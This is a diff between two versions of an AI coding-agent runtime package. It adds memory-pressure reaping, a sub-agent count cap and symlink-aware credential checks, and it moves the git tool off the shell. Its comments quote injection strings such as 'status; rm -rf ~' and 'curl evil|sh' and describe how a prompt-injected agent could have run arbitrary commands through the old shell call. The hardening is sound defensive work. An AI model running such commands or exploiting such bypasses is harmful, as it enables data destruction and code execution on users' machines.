chainlesschain 0.162.123 → 0.162.125

package/src/runtime/agent-core.js

@@ -16,7 +16,7 @@
 
 import fs from "fs";
 import path from "path";
-import { execSync, spawn } from "child_process";
+import { execSync, spawn, spawnSync } from "child_process";
 import os from "os";
 import sharedCodingAgentPolicy from "./coding-agent-policy.cjs";
 import sharedShellPolicy from "./coding-agent-shell-policy.cjs";
@@ -218,6 +218,49 @@ export function killAllBackgroundShellTasks() {
   return killed;
 }
 
+// Idle-reap tuning (Claude-Code 2.1.193 "automatic memory-pressure reaping for
+// idle background shell commands"). A running task is a reap candidate when it
+// has produced no output for BG_IDLE_REAP_MS AND the system is under memory
+// pressure (free/total below BG_MEM_PRESSURE_RATIO). Conservative on purpose:
+// idle-but-active tasks and a healthy machine are left alone, and the whole
+// behaviour is off when CLAUDE_CODE_DISABLE_BG_SHELL_PRESSURE_REAP=1.
+const BG_IDLE_REAP_MS = 5 * 60 * 1000; // 5 min of silence
+const BG_MEM_PRESSURE_RATIO = 0.1; // free < 10% of total = pressure
+
+/**
+ * Reap idle background shell tasks when the system is under memory pressure, so
+ * a forgotten `npm run dev` or a wedged build can't sit on memory indefinitely.
+ * No-op on a healthy machine (the pressure gate) or when disabled by env. Deps
+ * (now / freemem / totalmem / thresholds) are injectable for tests.
+ * @returns {string[]} ids of reaped tasks
+ */
+export function reapIdleBackgroundShellTasks(deps = {}) {
+  if (process.env.CLAUDE_CODE_DISABLE_BG_SHELL_PRESSURE_REAP === "1") return [];
+  const now = deps.now || Date.now;
+  const freemem = deps.freemem || os.freemem;
+  const totalmem = deps.totalmem || os.totalmem;
+  const idleMs = deps.idleMs != null ? deps.idleMs : BG_IDLE_REAP_MS;
+  const ratio =
+    deps.pressureRatio != null ? deps.pressureRatio : BG_MEM_PRESSURE_RATIO;
+  const total = totalmem();
+  const free = freemem();
+  if (!(total > 0) || free / total >= ratio) return []; // healthy → nothing to do
+  const t = now();
+  const reaped = [];
+  for (const task of _backgroundShellTasks.values()) {
+    if (task.status !== "running") continue;
+    const last = task.lastActivityAt || Date.parse(task.startedAt) || 0;
+    if (t - last < idleMs) continue; // still producing output recently
+    if (_killTask(task)) {
+      task.status = "reaped";
+      task.endedAt = new Date().toISOString();
+      task.error = "reaped: idle under memory pressure";
+      reaped.push(task.id);
+    }
+  }
+  return reaped;
+}
+
 // Foreground (synchronous) run_shell timeout. Configurable per-call via the
 // optional `timeout` arg; defaults to 60s and is hard-capped at 10 min so a
 // synchronous call can never wedge the loop indefinitely (use run_in_background
@@ -668,6 +711,50 @@ const IDE_DIFF_EDIT_TOOLS = new Set([
   "edit_file_hashed",
 ]);
 
+/**
+ * Quote-aware shell tokenizer (mirrors gateways/ws `tokenizeCommand`). The `git`
+ * tool runs the model-supplied command via argv (spawnSync, NO shell), so a
+ * string like `status; rm -rf ~` can't inject a second command through the
+ * shell — git just sees `status;` as an unknown subcommand. A quoted arg (e.g.
+ * a commit message) keeps its content because quotes are consumed here.
+ */
+export function tokenizeShellWords(input) {
+  const args = [];
+  let current = "";
+  let inDouble = false;
+  let inSingle = false;
+  let escape = false;
+  for (const ch of String(input || "")) {
+    if (escape) {
+      current += ch;
+      escape = false;
+      continue;
+    }
+    if (ch === "\\" && inDouble) {
+      escape = true;
+      continue;
+    }
+    if (ch === '"' && !inSingle) {
+      inDouble = !inDouble;
+      continue;
+    }
+    if (ch === "'" && !inDouble) {
+      inSingle = !inSingle;
+      continue;
+    }
+    if ((ch === " " || ch === "\t") && !inDouble && !inSingle) {
+      if (current.length > 0) {
+        args.push(current);
+        current = "";
+      }
+      continue;
+    }
+    current += ch;
+  }
+  if (current.length > 0) args.push(current);
+  return args;
+}
+
 /**
  * Compute the content an edit tool WOULD write, without writing it — the
  * left/right sides for an IDE diff review. Mirrors the corresponding
@@ -1040,14 +1127,16 @@ export async function executeTool(name, args, context = {}) {
   // customizations), this safety surface stays on under --safe-mode by design.
   if (!ruleAllowed && (name === "read_file" || name === "run_shell")) {
     const {
-      credentialFileReason,
+      credentialFileReasonResolved,
       commandReadsCredentials,
       credentialGuardDisabled,
     } = await import("../lib/credential-guard.js");
     if (!credentialGuardDisabled(process.env)) {
       let credReason = null;
       if (name === "read_file" && args?.path) {
-        credReason = credentialFileReason(args.path);
+        // Resolve symlinks: an innocent-named link to a credential file must not
+        // skip the prompt (fs.readFileSync follows the link).
+        credReason = credentialFileReasonResolved(args.path, { cwd });
       } else if (name === "run_shell" && args?.command) {
         const hit = commandReadsCredentials(args.command);
         credReason = hit ? hit.reason : null;
@@ -1156,6 +1245,7 @@ export async function executeTool(name, args, context = {}) {
       additionalDirectories: context.additionalDirectories || null,
       ruleAllowed,
       subAgentDepth: context.subAgentDepth || 0,
+      subAgentBudget: context.subAgentBudget || null,
       interactiveApproval: context.interactiveApproval || false,
     });
   } catch (err) {
@@ -1527,6 +1617,7 @@ async function executeToolInner(
     additionalDirectories,
     ruleAllowed = false,
     subAgentDepth = 0,
+    subAgentBudget = null,
     interactiveApproval = false,
   },
 ) {
@@ -1795,6 +1886,10 @@ async function executeToolInner(
       // polls output + completion via check_shell. No timeout — that's the whole
       // point of backgrounding (builds, test suites, dev servers).
       if (args.run_in_background === true) {
+        // Free memory from idle background tasks before adding another, so a
+        // long agent run can't accumulate forgotten dev servers (no-op unless
+        // the machine is actually under memory pressure).
+        reapIdleBackgroundShellTasks();
         const id = `bg_${++_backgroundTaskSeq}`;
         const task = {
           id,
@@ -1805,6 +1900,7 @@ async function executeToolInner(
           signal: null,
           error: null,
           startedAt: new Date().toISOString(),
+          lastActivityAt: Date.now(),
           endedAt: null,
           out: _newBgStream(),
           err: _newBgStream(),
@@ -1836,11 +1932,17 @@ async function executeToolInner(
           task.child = child;
           if (child.stdout) {
             child.stdout.setEncoding("utf8");
-            child.stdout.on("data", (d) => _appendBgStream(task.out, d));
+            child.stdout.on("data", (d) => {
+              task.lastActivityAt = Date.now();
+              _appendBgStream(task.out, d);
+            });
           }
           if (child.stderr) {
             child.stderr.setEncoding("utf8");
-            child.stderr.on("data", (d) => _appendBgStream(task.err, d));
+            child.stderr.on("data", (d) => {
+              task.lastActivityAt = Date.now();
+              _appendBgStream(task.err, d);
+            });
           }
           child.on("error", (err) => {
             task.status = "error";
@@ -1971,27 +2073,44 @@ async function executeToolInner(
         });
       }
 
-      try {
-        const output = execSync(`git ${normalizedCommand}`, {
-          cwd: args.cwd || cwd,
-          encoding: "utf8",
-          timeout: 60000,
-          maxBuffer: 1024 * 1024,
-        });
+      // Run via argv (spawnSync, NO shell) so shell metacharacters in the
+      // command — e.g. `status; rm -rf ~`, `log && curl evil|sh`, `$(…)` —
+      // cannot inject a second command. Previously execSync(`git ${cmd}`) ran
+      // the whole string through a shell, and the destructive-git/credential/
+      // run_shell guards only inspect the first token, so this was an arbitrary
+      // command-execution bypass for a prompt-injected agent. Quoted args (a
+      // commit message) keep their content via the quote-aware tokenizer.
+      const gitArgs = tokenizeShellWords(normalizedCommand);
+      const res = spawnSync("git", gitArgs, {
+        cwd: args.cwd || cwd,
+        encoding: "utf8",
+        timeout: 60000,
+        maxBuffer: 1024 * 1024,
+        windowsHide: true,
+      });
+      const readOnly = isReadOnlyGitCommand(normalizedCommand);
+      if (res.error) {
         return attachDescriptor({
-          stdout: output.substring(0, 30000),
+          error: String(res.error.message || res.error).substring(0, 2000),
           command: normalizedCommand,
-          readOnly: isReadOnlyGitCommand(normalizedCommand),
+          readOnly,
         });
-      } catch (err) {
+      }
+      if (res.status !== 0) {
+        const stderr = String(res.stderr || "").substring(0, 2000);
         return attachDescriptor({
-          error: err.message.substring(0, 2000),
-          stderr: (err.stderr || "").substring(0, 2000),
-          exitCode: err.status,
+          error: stderr || `git exited with code ${res.status}`,
+          stderr,
+          exitCode: res.status,
           command: normalizedCommand,
-          readOnly: isReadOnlyGitCommand(normalizedCommand),
+          readOnly,
         });
       }
+      return attachDescriptor({
+        stdout: String(res.stdout || "").substring(0, 30000),
+        command: normalizedCommand,
+        readOnly,
+      });
     }
 
     case "run_code": {
@@ -2041,6 +2160,7 @@ async function executeToolInner(
           sessionId,
           llmOptions,
           subAgentDepth,
+          subAgentBudget,
         }),
       );
     }
@@ -2735,6 +2855,18 @@ async function _executeRunCode(args, cwd) {
  */
 export const MAX_SUB_AGENT_DEPTH = 5;
 
+/**
+ * Max TOTAL sub-agents a single run may spawn across the whole tree. The depth
+ * cap bounds how DEEP nesting goes (5), but not how WIDE: every level could fan
+ * out many children, each with its own fresh iteration budget, so depth-cap
+ * alone leaves total work ~budget^depth in a runaway/adversarial case. A shared
+ * counter (threaded by reference through the tool context, like subAgentDepth)
+ * gives a hard ceiling on the whole tree. Generous enough for legitimate
+ * fan-out delegation; a model that blows past it is looping. Override per run
+ * with `options.subAgentBudget`.
+ */
+export const MAX_SUB_AGENTS_PER_RUN = 32;
+
 /**
  * Per-tool-result character cap fed back to the model. One giant tool output (a
  * huge file, a verbose command, an MCP blob) must not blow the context window —
@@ -2765,6 +2897,39 @@ export function capToolResultString(serialized, max = MAX_TOOL_RESULT_CHARS) {
   );
 }
 
+/**
+ * Serialize a tool result for the transcript without ever throwing. A plain
+ * `JSON.stringify` throws on a circular reference, a BigInt, or a value whose
+ * `toJSON` throws — and that call sits OUTSIDE executeTool's try/catch, so one
+ * odd tool result would crash the whole agent turn. The happy path is identical
+ * to `JSON.stringify` (returns its value verbatim, including `undefined`, which
+ * `capToolResultString` already normalizes); only a throw falls back to a
+ * circular- and BigInt-safe pass, then a last-resort string form.
+ */
+export function safeStringifyToolResult(value) {
+  try {
+    return JSON.stringify(value);
+  } catch {
+    try {
+      const seen = new WeakSet();
+      return JSON.stringify(value, (_k, v) => {
+        if (typeof v === "bigint") return v.toString();
+        if (v && typeof v === "object") {
+          if (seen.has(v)) return "[Circular]";
+          seen.add(v);
+        }
+        return v;
+      });
+    } catch {
+      try {
+        return String(value);
+      } catch {
+        return "[unserializable tool result]";
+      }
+    }
+  }
+}
+
 /**
  * Execute a spawn_sub_agent tool call.
  * Creates an isolated SubAgentContext, runs it, and returns only the summary.
@@ -2781,6 +2946,22 @@ async function _executeSpawnSubAgent(args, ctx) {
       error: `spawn_sub_agent: max nesting depth (${MAX_SUB_AGENT_DEPTH}) reached — complete the task directly instead of delegating further.`,
     };
   }
+  // Breadth cap: a shared counter (one object for the whole tree) bounds the
+  // TOTAL sub-agents a run may spawn, so a wide fan-out can't blow up even
+  // within the depth limit. Refuse + count BEFORE any work so the increment
+  // can't be skipped by a later error.
+  const subAgentBudget = ctx.subAgentBudget || null;
+  if (subAgentBudget) {
+    const max = Number.isFinite(subAgentBudget.max)
+      ? subAgentBudget.max
+      : MAX_SUB_AGENTS_PER_RUN;
+    if ((subAgentBudget.spawned || 0) >= max) {
+      return {
+        error: `spawn_sub_agent: max sub-agents per run (${max}) reached — complete remaining work directly instead of delegating further.`,
+      };
+    }
+    subAgentBudget.spawned = (subAgentBudget.spawned || 0) + 1;
+  }
   let {
     role,
     task,
@@ -2883,6 +3064,9 @@ async function _executeSpawnSubAgent(args, ctx) {
     profile: profile || null,
     llmOptions: subLlmOptions,
     depth: currentDepth + 1, // nested spawns see their own level
+    // Same shared counter object so the child's own spawns draw from the run's
+    // single total-sub-agent pool (breadth cap spans the whole tree).
+    subAgentBudget: ctx.subAgentBudget || null,
   });
 
   const emit = (type, payload) => {
@@ -2900,15 +3084,26 @@ async function _executeSpawnSubAgent(args, ctx) {
     }
   };
 
+  // Resolve the registry ONCE before the try so the failure path can also move
+  // the sub-agent out of `_active` (the success path does this via complete()).
+  const { SubAgentRegistry } =
+    await import("../lib/sub-agent-registry.js").catch(() => ({
+      SubAgentRegistry: null,
+    }));
+  let registry = null;
+  if (SubAgentRegistry) {
+    try {
+      registry = SubAgentRegistry.getInstance();
+    } catch (_err) {
+      registry = null; // registry unavailable — non-critical
+    }
+  }
+
   try {
     // Notify registry if available
-    const { SubAgentRegistry } =
-      await import("../lib/sub-agent-registry.js").catch(() => ({
-        SubAgentRegistry: null,
-      }));
-    if (SubAgentRegistry) {
+    if (registry) {
       try {
-        SubAgentRegistry.getInstance().register(subCtx);
+        registry.register(subCtx);
       } catch (_err) {
         // Registry not available — non-critical
       }
@@ -2924,9 +3119,9 @@ async function _executeSpawnSubAgent(args, ctx) {
     const result = await subCtx.run(task);
 
     // Complete in registry
-    if (SubAgentRegistry) {
+    if (registry) {
       try {
-        SubAgentRegistry.getInstance().complete(subCtx.id, result);
+        registry.complete(subCtx.id, result);
       } catch (_err) {
         // Non-critical
       }
@@ -2955,6 +3150,18 @@ async function _executeSpawnSubAgent(args, ctx) {
   } catch (err) {
     subCtx.forceComplete(err.message);
 
+    // Move the failed sub-agent out of the registry's `_active` Map into bounded
+    // history (mirrors the success path). Without this, a sub-agent whose run()
+    // threw outside its own try (setup/summarize error) lingers in `_active`
+    // forever and over-reports as "active" to monitors/UI.
+    if (registry) {
+      try {
+        registry.complete(subCtx.id, subCtx.result);
+      } catch (_err) {
+        // Non-critical
+      }
+    }
+
     emit("sub-agent.failed", {
       status: subCtx.status,
       error: err.message,
@@ -4175,6 +4382,10 @@ const _CHECKPOINT_READ_ONLY = new Set([
   "search_sessions",
 ]);
 
+// Rolling cap on auto-checkpoints per agent session — the engine prunes the
+// oldest beyond this so a long run can't accumulate unbounded refs.
+const MAX_AUTO_CHECKPOINTS_PER_SESSION = 100;
+
 let _checkpointStoreP = null;
 function _loadCheckpointStore() {
   if (!_checkpointStoreP) {
@@ -4205,6 +4416,10 @@ async function _autoCheckpointBeforeTool(toolContext, toolName, toolArgs) {
         120,
       ),
       skipIfUnchanged: true,
+      // Bound auto-checkpoint history: a rolling safety net of the last N
+      // mutating-tool states. Prevents unbounded ref growth + O(n²) nextId over
+      // a long agentic run (rewinding 100+ tool calls back is already extreme).
+      maxPerSession: MAX_AUTO_CHECKPOINTS_PER_SESSION,
     });
     return res?.id || null;
   } catch {
@@ -4302,6 +4517,13 @@ export async function* agentLoop(messages, options) {
     // Sub-agent nesting level (0 = main loop); spawn_sub_agent caps at
     // MAX_SUB_AGENT_DEPTH using this.
     subAgentDepth: options.subAgentDepth || 0,
+    // Shared TOTAL-sub-agent counter for the whole run. Reuse the parent's
+    // instance (passed by reference) so every nested level draws from one pool;
+    // the main loop seeds it. Bounds breadth, complementing the depth cap.
+    subAgentBudget: options.subAgentBudget || {
+      spawned: 0,
+      max: MAX_SUB_AGENTS_PER_RUN,
+    },
   };
 
   throwIfAborted(signal);
@@ -4739,7 +4961,9 @@ export async function* agentLoop(messages, options) {
       // Cap an individual tool result so one giant output can't blow the
       // context — but tell the model when we cut it (no more silent
       // mid-content slice). See MAX_TOOL_RESULT_CHARS / capToolResultString.
-      const resultStr = capToolResultString(JSON.stringify(toolResult));
+      const resultStr = capToolResultString(
+        safeStringifyToolResult(toolResult),
+      );
       const toolContent = warningMsg
         ? `${resultStr}\n\n${warningMsg}`
         : resultStr;

package/src/runtime/headless-runner.js

@@ -69,6 +69,11 @@ const VALID_PERMISSION_MODES = Object.freeze([
 
 const VALID_OUTPUT_FORMATS = Object.freeze(["text", "json", "stream-json"]);
 
+// EPIPE guard for `cc agent -p … | head`. Lives in pipe-safety.js (shared with
+// the stream-json driver + REPL); re-exported here for existing importers.
+export { installPipeSafety } from "./pipe-safety.js";
+import { installPipeSafety } from "./pipe-safety.js";
+
 /**
  * Resolve a --permission-mode string into the session-policy tier + a
  * non-interactive confirmer + whether to clamp tools to the read-only set.
@@ -312,6 +317,12 @@ export async function runAgentHeadless(options = {}, deps = {}) {
   // trace so `cc agent -p ... > out.txt` keeps `out.txt` clean.
   const writeOut = deps.writeOut || ((s) => process.stdout.write(s));
   const writeErr = deps.writeErr || ((s) => process.stderr.write(s));
+  // Only when we own the real stdout/stderr (no injected seams = production,
+  // not tests): guard against a downstream `| head` closing the pipe, which
+  // would otherwise crash with an unhandled EPIPE. Idempotent across calls.
+  if (!deps.writeOut && !deps.writeErr) {
+    installPipeSafety();
+  }
   // Session persistence seam (file-based JSONL; DB-free, like the rest of
   // headless). Defaults to the real store; tests inject fakes.
   const store = {
@@ -667,6 +678,7 @@ export async function runAgentHeadless(options = {}, deps = {}) {
           strict: options.strictMcpConfig === true,
           ide: options.ide,
           pdh: options.pdh,
+          jetbrains: options.jetbrains,
           cwd: options.cwd || process.cwd(),
           // advertise the session id to spawned stdio MCP servers
           sessionId,
@@ -676,6 +688,7 @@ export async function runAgentHeadless(options = {}, deps = {}) {
           loadMcpConfig: deps.loadMcpConfig,
           loadRegisteredMcp: deps.loadRegisteredMcp,
           loadIdeMcp: deps.loadIdeMcp,
+          loadJetbrainsMcp: deps.loadJetbrainsMcp,
         },
       );
       if (mcp && isText) {